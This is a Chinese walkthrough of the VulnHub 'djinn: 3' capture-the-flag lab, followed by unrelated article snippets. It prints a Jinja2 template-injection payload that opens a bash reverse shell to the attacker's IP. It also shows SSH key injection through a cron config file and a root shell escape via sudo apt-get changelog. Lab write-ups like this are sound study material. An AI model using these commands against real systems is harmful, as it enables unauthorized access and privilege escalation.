djinn: 3靶场渗透
djinn: 3
来自 <https://www.vulnhub.com/entry/djinn-3,492/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.243
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.243
4,访问80端口的http服务看看
扫描网站存在的子目录
dirsearch -u http://192.168.23.243 -x 403,404
没什么用
5,访问5000端口看看
这是一个任务或问题跟踪列表,常见于项目管理工具(如Jira、GitHub Issues等)。并且提到了一个默认用户guest
6,再访问31337端口看看,账户密码均为guest
- 网络连接行为
nc 192.168.23.243 31337 # 通过netcat连接目标IP的31337端口
username> guest # 使用默认用户guest登录
password> guest # 使用默认密码guest登录成功
- 31337端口:非常见端口,可能为自定义服务(如隐藏的管理接口或漏洞利用点)。
- 默认凭证:guest:guest 未移除(对应任务列表中的 #4567 未完成)。
- 系统特征
- 自称是「开发中的票务系统」,提示报告问题至 mail@mzfr.me。
- 支持命令行交互(help 查看命令列表)。
- 5000端口关联
- 5000端口通常用于开发环境(如Flask/Django调试模式、Docker注册表)。
- 结合31337端口的未授权访问,可能形成 横向渗透路径:
- 通过31337端口获取初始权限 → 探测内网5000端口的服务 → 进一步利用漏洞。
攻击面分析:开发环境暴露
- 5000端口服务推测:
- 运行未授权API(如Swagger UI、GraphQL)。
- 调试模式开启的Web框架(如Flask debug=True,可能触发RCE)。
- 利用链示例:
# 通过31337端口获取shell后,探测本地服务
curl http://localhost:5000/management # 尝试访问管理接口
help看看可以使用的命令
CLI功能与潜在攻击面分析
1. 可用命令解析
- help:显示菜单,无直接风险。
- update:更新票务软件(高危操作,可能触发远程代码执行或文件覆盖)。
- open:创建新工单(可能涉及用户输入注入漏洞)。
- close:关闭工单(需ID参数,可能存在逻辑漏洞)。
- exit:退出系统。
2. 初步安全测试方向
- 命令参数注入(如open或close的参数是否未过滤)。
- update命令的更新源验证(是否允许任意URL下载或本地路径劫持)。
- 会话持久化漏洞(如通过工单内容注入恶意代码触发后端解析)。
7,对5000端口的服务进行指纹识别扫描
技术指纹分析
1. 服务框架
- Werkzeug/1.0.1:Python WSGI工具库(常用于Flask开发服务器)。
- Python 3.6.9:较旧版本(2019年发布),存在潜在漏洞(如CVE-2021-3177)。
- Bootstrap:前端框架(版本未知,需进一步探测)。
2. 关键特征
- 无标题页面:可能为未完成的后台接口或调试入口。
- Server头部泄露:明确暴露技术栈(攻击者可针对性利用)。
3. 服务推测
- 运行 Flask开发服务器(默认端口5000 + Werkzeug组合)。
- 可能处于 调试模式(若开启debug=True,存在RCE风险)。
搜索网站技术栈存在的公开exp
searchsploit Werkzeug
下载来看看怎么使用
searchsploit 43905.py -m
漏洞利用没有成功,可能需要手动测试(在31337端口上)
8,这里反弹shell选择bash进行反弹,然后修改payload,在终端上新建票据
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.182/4444 0>&1'")|attr("read")()}}
然后在访问5000端口开放的http服务,刷新一下出现新的链接进行点击
与此同时kali打开对4444监听
nc -lvvp 4444
成功getshell
9,然后信息收集一下
uname -a
lsb_release -a
发现存在其他用户
发现几个属于有saint用户的文件
讲文件都下载到本地分析
cp /opt/.configuration.cpython-38.pyc /tmp
cp /opt/.syncer.cpython-38.pyc /tmp
cd /tmp
python3 -m http.server 8080
wget http://192.168.23.243:8080/.configuration.cpython-38.pyc
wget http://192.168.23.243:8080/.syncer.cpython-38.pyc
然后拖到浏览器里面进行在线反编译
syncer.cpython-38.py
# Visit 在线Python pyc文件编译与反编译 for more information # Version : Python 3.8 import os import sys import json from glob import glob from datetime import datetime as dt class ConfigReader: config = None
def read_config(path): '''Reads the config file ''' config_values = { } # WARNING: Decompyle incomplete read_config = staticmethod(read_config)
def set_config_path(): '''Set the config path ''' files = glob('/home/saint/*.json') other_files = glob('/tmp/*.json') files = files + other_files
try: if len(files) > 2: files = files[:2] file1 = os.path.basename(files[0]).split('.') file2 = os.path.basename(files[1]).split('.') if file1[-2] == 'config' and file2[-2] == 'config': a = dt.strptime(file1[0], '%d-%m-%Y') b = dt.strptime(file2[0], '%d-%m-%Y') if b < a: filename = files[0] else: filename = files[1] finally: pass except Exception: sys.exit(1)
return filename set_config_path = staticmethod(set_config_path) |
configuration.cpython-38.py
# Visit 在线Python pyc文件编译与反编译 for more information # Version : Python 3.8 from configuration import * from connectors.ftpconn import * from connectors.sshconn import * from connectors.utils import * def main(): '''Main function Cron job is going to make my work easy peasy ''' configPath = ConfigReader.set_config_path() config = ConfigReader.read_config(configPath) connections = checker(config) if 'FTP' in connections: ftpcon(config['FTP']) elif 'SSH' in connections: sshcon(config['SSH']) elif 'URL' in connections: sync(config['URL'], config['Output']) if __name__ == '__main__': main() |
10,根据这两个python程序的源码,在/tmp下新建一个文件,文件名字为29-06-2020.config.json,内容如下,本地服务器的authorized_keys文件的内容是使用ssh-keygen生成的id_rsa.pub文件内容
cat > /tmp/29-06-2020.config.json << 'EOF' { "URL": "http://192.168.23.182/authorized_keys", "Output": "/home/saint/.ssh/authorized_keys" } EOF |
所以前提条件是还需要生成kali的公钥authorized_keys
ssh-keygen
ls -la .ssh
cp .ssh/id_ed25519.pub authorized_keys
然后python开启一个http服务
python -m http.server 80
应该是公钥注入成功了ssh登录尝试一下
ssh saint@192.168.23.243
登录成功,巧妙的公钥注入!
11,信息收集,看看怎么提权
创造出来一个假root用户,跟root同属一个用户组
sudo /usr/sbin/adduser -gid 0 r00t
因为是假用户使用没有真root权限
查看sudoers文件还有哪些用户可以使用sudo执行命令
发现一个jason用户,但是这个用户并不存在,但是我们是可以新建这个用户,盗用它的sudo操作
exit
sudo /usr/sbin/adduser -gid 0 jason
12,因为jason用户允许在密码验证后使用sudo命令以root权限执行apt-get命令,而密码是我设置的。由此查看提权操作
sudo apt-get changelog apt
在终端输入
!/bin/sh
最后成功get flag
sh /root/proof.sh
相关文章:

djinn: 3靶场渗透
djinn: 3 来自 <https://www.vulnhub.com/entry/djinn-3,492/> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182,靶场IP192.168.23.243 3࿰…...

VS Code配置指南:打造高效的QMK开发环境
VS Code配置指南:打造高效的QMK开发环境 前言 你是否曾为QMK固件开发环境的搭建而头疼不已?本文将手把手教你使用Visual Studio Code(简称VS Code)这款强大的代码编辑器来构建一个完美的QMK开发环境,让你的键盘固件开…...

服务器多客户端连接核心要点(1)
刷题 服务器多客户端连接核心要点 多进程服务器 实现原理 fork子进程:每次accept新客户端后,调用fork创建子进程。独立处理:子进程负责与客户端通信(如read/write),父进程继续监听新连接。 特点 隔离性…...
【Python-Day 11】列表入门:Python 中最灵活的数据容器 (创建、索引、切片)
Langchain系列文章目录 01-玩转LangChain:从模型调用到Prompt模板与输出解析的完整指南 02-玩转 LangChain Memory 模块:四种记忆类型详解及应用场景全覆盖 03-全面掌握 LangChain:从核心链条构建到动态任务分配的实战指南 04-玩转 LangChai…...

Stagehand:AI驱动的下一代浏览器自动化框架
Stagehand 是一个结合了 AI 代理、AI 工具和 Playwright 的浏览器自动化框架。核心理念是:让自动化任务既可控又智能。与传统工具不同,Stagehand 不仅仅依赖 AI 代理的“黑箱操作”,而是通过与 Playwright 的深度结合,赋予开发者对…...
实现线程的4种方法
知识点详细说明 在Java中,实现线程的常用方法有以下四种: 1. 继承Thread类 核心要点: 定义一个类继承Thread,重写run()方法。通过调用start()启动线程(自动执行run())。关键细节: 单继承限制:Java不支持多继承,若类已继承其他类,无法再继承Thread。线程对象直接使用…...

爱普生FA-238在车身控制模块中的应用
在汽车智能化、电子化飞速发展的当下,车身控制模块(BCM)作为车辆的 “智能管家”,肩负着协调和控制众多车身功能的重任,从车门的解锁与锁定、车窗的升降,到车灯的智能点亮与熄灭,再到雨刮器的自…...
单片机嵌入式按键库
kw_btn库说明 本库主要满足嵌入式按键需求,集成了常用的按键响应事件:高电平、低电平、上升沿、下降沿、单击、双击、长按键事件。可以裸机运行,也可以配合实时操作系统运行。 本库开源连接地址:连接 实现思路 本库采用C语言进行…...

【A2A】管中窥豹,google源码python-demo介绍
前言 A2A(Agent2Agent)是 Google 推出的一项新协议,旨在解决多智能体(Multi-Agent)系统中跨平台、跨组织协作的难题。它为 AI 代理之间的通信、协作和任务分工提供了一个统一的标准,可以类比为网页世界的 H…...

004-nlohmann/json 快速认识-C++开源库108杰
了解 nlohmann/json 的特点;理解编程中 “数据战场”划分的概念;迅速上手多种方式构建一个JSON对象; 1 特点与安装 nlohmann/json 是一个在 github 长期霸占 “JSON” 热搜版第1的CJSON处理库。它的最大优点是与 C 标准库的容器数据…...

Matlab实现CNN-BiLSTM时间序列预测未来
Matlab实现CNN-BiLSTM时间序列预测未来 目录 Matlab实现CNN-BiLSTM时间序列预测未来效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现CNN-BiLSTM时间序列预测未来; 2.运行环境Matlab2023b及以上,data为数据集,单变量时间序…...

C语言| sizeof(array)占多少字节
C语言| 数组名作为函数参数 sizeof(数组名); 可以求出整个数组在内存中所占的字节数。 被调函数Array_Sum()中,数组array使用sizeof会得到多少? 实参数组a占32字节,实参a传给形参array,只占4字节。 原因如下: 数组名做…...

【文件系统—散列结构文件】
文章目录 一、实验目的实验内容设计思路 三、实验代码实现四、总结 一、实验目的 理解linux文件系统的内部技术,掌握linux与文件有关的系统调用命令,并在此基础上建立面向随机检索的散列结构文件;## 二、实验内容与设计思想 实验内容 1.设…...

World of Warcraft [CLASSIC][80][Deluyia] [Fragment of Val‘anyr]
瓦兰奈尔的碎片 [Fragment of Valanyr] 有时候下个班打个游戏,没想到套路也这么多,唉,何况现实生活,这一个片版本末期才1000G,30个,也就30000G,时光徽章等同月卡15000G,折合一下也就…...

数组和指针典型例题合集(一维数组、字符数组、二维数组)
1.一维数组 数组名的理解 数组名是数组首元素(第一个元素)的地址 但是有两个例外: 1.sizeof (数组名)—— 数组名表示整个数组,就算的是整个数组的大小,单位是字节。 2.&数组名 —— 数…...

地级市-机器人、人工智能等未来产业水平(2009-2023年)-社科数据
地级市-机器人、人工智能等未来产业水平(2009-2023年)-社科数据https://download.csdn.net/download/paofuluolijiang/90623814 https://download.csdn.net/download/paofuluolijiang/90623814 此数据集统计了2009-2023年全国地级市在机器人、人工智能等…...

epub格式转txt格式工具,txt批量转PDF
epub格式转txt格式工具,功能如图: txt格式批量转PDF 参考原文:epub格式转txt格式工具,txt批量转PDF 轻轻一点就关注, 好运连连挡不住,点个关注吧。...

电赛经验分享——模块篇
1、前言 打算在这一个专栏中,分享一些本科控制题电赛期间的经验,和大家共同探讨,也希望能帮助刚刚参加电赛的同学,了解一些基本的知识。一些见解和看法可能不同或有错误,欢迎批评指正。 在本文中,主要介绍笔…...
前端面试宝典---JavaScript import 与 Node.js require 的区别
import 和 require 来自不同的规范: import 是 ES6(ECMAScript 2015)模块系统的一部分,是 JavaScript 语言的标准语法 require 是 CommonJS 规范的一部分,最初为 Node.js 环境设计 加载方式: require() …...

JVM之内存管理(一)
部分内容来源:JavaGuide二哥Java 图解JVM内存结构 内存管理快速复习 栈帧:局部变量表,动态链接(符号引用转为真实引用),操作数栈(存储中间结算结果),方法返回地址 运行时…...

鸿蒙编译boost整合linux跨平台应用
openharmony deveco 4.1支持armeabi-v7a deveco 5.0后不支持arm32位系统 boost编译 使用deveco的写cmake集成boost boost使用1.88的最新版本,带cmake工具链 https://github.com/boostorg/boost.git boost的源码都在sub_module中 deveco 4.1的版本sdk最高到9&am…...

rabbitMQ消息问题与解决
rabbitMQ 消息顺序性、消息幂等性、消息不丢失、最终一致性、补偿机制、消息队列设计 1.消息顺序性 溯源: 消息队列中的若干消息如果是对同一个数据进行操作,这些操作具有前后的关系,必须要按前后的顺序执行,否则就会造成数据异常…...

Java SE(10)——抽象类接口
1.抽象类 1.1 概念 在之前讲Java SE(6)——类和对象(一)的时候说过,所有的对象都可以通过类来抽象。但是反过来,并不是说所有的类都是用来抽象一个具体的对象。如果一个类本身没有足够的信息来描述一个具体的对象,而…...
MySQL数据库故障排查与解决方案
一、故障排查流程图 #mermaid-svg-hF8hhP2lrqWDbNhV {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-hF8hhP2lrqWDbNhV .error-icon{fill:#552222;}#mermaid-svg-hF8hhP2lrqWDbNhV .error-text{fill:#552222;stroke:…...

学习threejs,使用Physijs物理引擎
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.1 ☘️Physijs 物理引擎1.1.1 ☘️…...

allure生成测试报告(搭配Pytest、allure-pytest)
文章目录 前言allure简介allure安装软件下载安装配置环境变量安装成功验证 allure运行流程allure装饰器函数基本说明装饰器函数使用allure.attach 命令行运行利用allure-pytest生成中间结果json 查看测试报告总览页面每个tab页的说明类别页面测试套图表页面时间刻度功能页面包 …...

龙虎榜——20250509
上证指数今天缩量,整体跌多涨少,走势处于日线短期的高位~ 深证指数今天缩量小级别震荡,大盘股表现更好~ 2025年5月9日龙虎榜行业方向分析 一、核心行业方向 军工航天 • 代表个股:航天南湖、天箭科技、襄阳轴承。 • 驱动逻辑…...

操作系统的初步了解
目录 引言:什么是操作系统? 一、设计操作系统的目的 二、操作系统是做什么的: 操作系统主要有四大核心任务: 1. 管理硬件 2. 运行软件 3. 存储数据 4. 提供用户界面 如何理解操作系统的管理呢? 1. 什么是操作…...
拆分sql数据,(shop_backup)sql文档过大(>5G)
执行表结构 sed -n /^-- Table structure/,/^-- Dumping data/p shop_backup.sql > structure.sql mysql -u root -p shop < structure.sql 执行数据 awk /^INSERT INTO/{if(count%1000001) {file"data_part_"i".sql"}; print > file} shop_bac…...

软件工程之软件项目管理深度解析
前文基础: 1.软件工程学概述:软件工程学概述-CSDN博客 2.软件过程深度解析:软件过程深度解析-CSDN博客 3.软件工程之需求分析涉及的图与工具:软件工程之需求分析涉及的图与工具-CSDN博客 4.软件工程之形式化说明技术深度解…...